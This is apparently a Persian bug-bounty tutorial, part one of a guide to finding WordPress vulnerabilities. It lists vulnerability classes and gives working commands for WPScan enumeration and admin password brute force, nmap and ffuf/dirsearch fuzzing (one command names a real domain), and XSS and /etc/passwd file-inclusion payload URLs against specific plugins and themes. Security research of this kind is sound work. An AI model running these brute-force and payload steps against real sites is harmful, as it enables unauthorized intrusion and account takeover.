راهنمای کامل باگ هانتینگ در وردپرس (بخش اول)
سلام بهروزم و با راهنمای کامل باگ هانتینگ در وردپرس (بخش اول) در خدمتتون هستم.
با گامبهگام یاد گرفتن تکنیکها، ابزارها و استراتژیهای تخصصی، آسیبپذیریهای مهم و تأثیرگذار را در وبسایتهای وردپرسی کشف کنید.
وردپرس پرکاربردترین سیستم مدیریت محتوا (CMS) در جهان است که با انعطافپذیری و سهولت استفاده، میلیونها وبسایت را راهاندازی میکند.
اما هرچه محبوبتر باشد، مخاطرهپذیرتر میشود. پایگاه کاربری عظیم آن، وردپرس را به هدفی جذاب برای هکرها تبدیل کرده است.
از افزونههای قدیمی و پوستههای با کدنویسی ضعیف تا تنظیمات امنیتی سست و اشتباهات سادهی مدیران، نقاط ورود متعددی وجود دارد که مهاجمان میتوانند از آنها سوءاستفاده کنند.
در این راهنما به رایجترین آسیبپذیریهای وردپرس میپردازیم، توضیح میدهیم مهاجمان چگونه از آنها بهرهبرداری میکنند و گامهای عملی برای تقویت دفاع سایتتان را به اشتراک میگذاریم.
درک معماری وردپرس
برای نفوذ به وردپرس ابتدا باید بدانید چگونه ساخته شده است:
-
هسته (Core): فایلهای اصلی وردپرس که توسط جامعه نگهداری میشوند.
-
پوستهها (Themes): ظاهر و طراحی سایت را کنترل میکنند اما اغلب شامل کدهای PHP/JS نیز هستند.
-
افزونهها (Plugins): قابلیتها را گسترش میدهند و معمولاً بزرگترین منبع آسیبپذیریها به شمار میروند.
مهاجمان معمولاً هسته وردپرس را هدف قرار نمیدهند؛ در عوض، از افزونههای با کدنویسی ضعیف یا پوستههای پیکربندینشده سوءاستفاده میکنند.
ساختار معمول فایل/پوشههای یک سایت وردپرس
انواع آسیبپذیریهای وردپرس که باید شکار شوند
روی این دستههای رایج ضعف تمرکز کن:
A. آسیبپذیریهای هسته وردپرس
-
دورزدن احراز هویت (Authentication Bypasses): نقص در مکانیزمهای ورود (مثلاً wp-login.php).
-
ارتقای امتیازات (Privilege Escalation): اجازه دادن به کاربران کمامتیاز (مثلاً subscriber) برای کسب حقوق ادمین.
-
تزریق SQL (SQL Injection / SQLi): ورودی کاربر که بهدرستی در کوئریهای دیتابیس تصفیه نشده است.
-
بینسایتی اسکریپتگذاری (Cross-Site Scripting / XSS): تزریق اسکریپتهای مخرب از طریق کامنتها، پستها یا پروفایل کاربران.
-
قرارگیری/حذف فایل (File Inclusion/Deletion): خواندن/نوشتن دلخواه فایلها (مثلاً از طریق توابع wp-admin).
B. آسیبپذیریهای افزونهها و پوستهها
-
ارجاعات مستقیم ناامن به اشیاء (Insecure Direct Object References / IDOR): دسترسی به دادههای مجازنشده با دستکاری شناسهها در آدرسها (مثلاً ?post_id=123).
-
جعل درخواست بینسایتی (CSRF / Cross-Site Request Forgery): وادار کردن کاربران به انجام عملیات بدون رضایتشان.
-
آپلود فایل بدون محدودیت (Unrestricted File Uploads): اجازهٔ آپلود فایلهای اجرایی (مثلاً .php، وبشل).
-
ضعفهای API: نقاط انتهایی REST API یا GraphQL ضعیف که دادههای حساس را افشا میکنند.
-
تزریق در تنظیمات (Settings Injections): ذخیرهٔ بارِ XSS در تنظیمات افزونه/پوسته.
C. مسائل سرور / پیکربندی
-
آسیبپذیریهای XML-RPC: حملات بروت-فورس یا سوءاستفاده از pingback.
-
عبور از دایرکتوری (Directory Traversal): دسترسی به فایلهای خارج از وبروت (مثلاً ../../../../wp-config.php).
-
مجوزهای نادرست (Misconfigured Permissions): پوشههای قابل نوشتن در wp-content یا بکاپهای افشا شده.
ابزارهای ضروری برای شکار باگ در وردپرس
-
WPScan: استاندارد طلایی برای شناسایی و فهرستبندی وردپرس (افزونهها، پوستهها، کاربران، آسیبپذیریها).
wpscan --url https://domain.com --api-token YOUR_TOKEN
wpscan --url https://domain.com --disable-tls-checks --api-token <here> -e at -e ap -e u --enumerate ap --plugins-detection aggressive --force

- Nmap: اسکن کامل سرویسها و پورتها
nmap -p- --min-rate 1000 -T4 -A target.com -oA fullscan
- Dirbuster/ffuf: پیدا کردن فایلها و مسیرهای مخفی مثل (wp-content/ ، uploads/ و backup/)
dirsearch -u https://example.com --full-url --deep-recursive -r
dirsearch -u https://example.com -e php,cgi,htm,html,shtm,shtml,js,txt,bak,zip,old,conf,log,pl,asp,aspx,jsp,sql,db,sqlite,mdb,tar,gz,7z,rar,json,xml,yml,yaml,ini,java,py,rb,php3,php4,php5 --random-agent --recursive -R 3 -t 20 --exclude-status=404 --follow-redirects --delay=0.1
ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://example.com/FUZZ -fc 400,401,402,403,404,429,500,501,502,503 -recursion -recursion-depth 2 -e .html,.php,.txt,.pdf,.js,.css,.zip,.bak,.old,.log,.json,.xml,.config,.env,.asp,.aspx,.jsp,.gz,.tar,.sql,.db -ac -c -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0" -t 100 -r -o results.json
ffuf -w coffin@wp-fuzz.txt -u https://ens.domains/FUZZ -fc 401,403,404 -recursion -recursion-depth 2 -e .html,.php,.txt,.pdf -ac -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0" -r -t 60 --rate 100 -c
روند گامبهگام شکار باگ
شمارش نامکاربری از طریق REST API
وردپرس شامل یک REST API است که میتواند اطلاعات کاربران ثبتنامشده را افشا کند.
بهصورت پیشفرض، این API دادههای تمام کاربرانی را نشان میدهد که حداقل یک نوشته عمومی منتشر کردهاند.
معمولاً میتوان فهرست آنها را از طریق endpoint زیر استخراج کرد:
بروتفورس رمز عبور پنل مدیریت
پس از اینکه با استفاده از تکنیکهای بالا تمام نامهای کاربری ممکن را با موفقیت به دست آوردید، گام بعدی تلاش برای بروتفورس ورود ادمین است.
این کار را میتوان با استفاده از دستورات زیر انجام داد:
# WPScan brute force (single username)
wpscan --url https://target.com --username admin --passwords /path/to/passwords.txt --disable-tls-checks
# WPScan brute force (multiple usernames)
wpscan --url https://target.com --usernames /path/to/usernames.txt --passwords /path/to/passwords.txt --disable-tls-checks
# WPScan brute force via XML-RPC
wpscan --url https://target.com --usernames admin --passwords /path/to/passwords.txt --disable-tls-checks --max-threads 10
نشت فایلهای پیکربندی
نشت یک فایل پیکربندی زمانی رخ میدهد که فایلهای حساس بهخاطر پیکربندی نادرست بهصورت عمومی در دسترس قرار گیرند.
این فایلها معمولاً اطلاعاتی مانند مشخصات اتصال به دیتابیس، کلیدهای API و متغیرهای محیطی را افشا میکنند.
در وردپرس، نشت فایلهایی مانند wp-config.php
، .env
یا فایلهای پشتیبان (مثلاً .bak
، .save
و غیره) میتواند منجر به تسخیر کامل اپلیکیشن و دیتابیس شود.
در ادامه چند مسیر رایج که ممکن است فایلهای پیکربندی حساس و پشتیبانها در آنها افشا شده باشند آمده است:
صفحه ثبتنام در معرض دید
اگر ثبتنام کاربران از طریق /wp-login.php?action=register
فعال باشد، مهاجمها میتوانند بدون محدودیت حساب بسازند.
این موضوع ممکن است به ایجاد حسابهای اسپم، ارتقای غیرمجاز سطح دسترسی یا سوءاستفاده منجر شود، خصوصاً اگر نقشها (roles) بهدرستی پیکربندی نشده باشند.
برای اسکن/شکار انبوه میتوانید از قالب Nuclei زیر استفاده کنید تا صفحات ثبتنام در معرض دید را بهسرعت در چندین هدف شناسایی کنید.
راهاندازی وردپرس ناامن
نقطه انتهایی /wp-admin/setup-config.php?step=1
بخشی از فرایند نصب وردپرس است.
اگر پس از استقرار همچنان قابل دسترسی باقی بماند، نشاندهنده یک نصب ناقص یا پیکربندی نادرست است.
مهاجمها ممکن است بتوانند ویزارد نصب را دوباره اجرا کنند، پیکربندی را بازنویسی کنند و کنترل کامل سایت و پایگاهداده آن را بهدست آورند.
برای شکار/اسکن انبوه، میتوان از این قالب Nuclei برای تشخیص صفحات راهاندازی در معرض استفاده کرد.
فایل xmlrpc
فایل xmlrpc.php
در وردپرس امکان فراخوانی روشهای راه دور (Remote Procedure Call) را فراهم میکند و اغلب توسط مهاجمها سواستفاده میشود.
اگر فعال باشد، میتوان از آن برای حملات بروتفورس به صفحه ورود، تقویت حملات DDoS، یا حتی استخراج دادهها از طریق متدهایی مانند system.multicall
سوءاستفاده کرد. در حالی که این یک قابلیت مشروع است، رها کردن آن بدون محدودیت خطرات امنیتی جدی ایجاد میکند.
این مطلب سایت پیرامون این موضوع است.
سواستفاده از Admin‑AJAX و نقاط انتهایی قالب/افزونه
فایل admin-ajax.php
یک endpoint اصلی وردپرس است که توسط قالبها و افزونهها برای پردازش درخواستهای ناهمزمان (Asynchronous) استفاده میشود.
اگر بهدرستی اعتبارسنجی نشود، میتواند عملکردهایی را در دسترس کاربران غیرمجاز قرار دهد و منجر به حملاتی مانند XSS یا حتی اجرای کد از راه دور (RCE) از طریق افزونهها یا قالبهای آسیبپذیر شود. برای مثال:
XSS
domain.com/wp-admin/admin-ajax.php?action=tie_get_user_weather&options={‘location’%3A‘Cairo’%2C‘units’%3A‘C’%2C‘forecast_days’%3A‘5<%2Fscript><script>alert(document.domain)<%2Fscript>custom_name’%3A‘Cairo’%2C‘animated’%3A‘true’}
domain.com/wp-content/themes/ambience/thumb.php?src=<body onload=prompt(1)>.png
RCE
https://domain.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
پایان راهنمای کامل باگ هانتینگ در وردپرس (بخش اول)
بخش بعدی این مطلب رو به زودی در سایت قرار میدم پس با من همراه باشید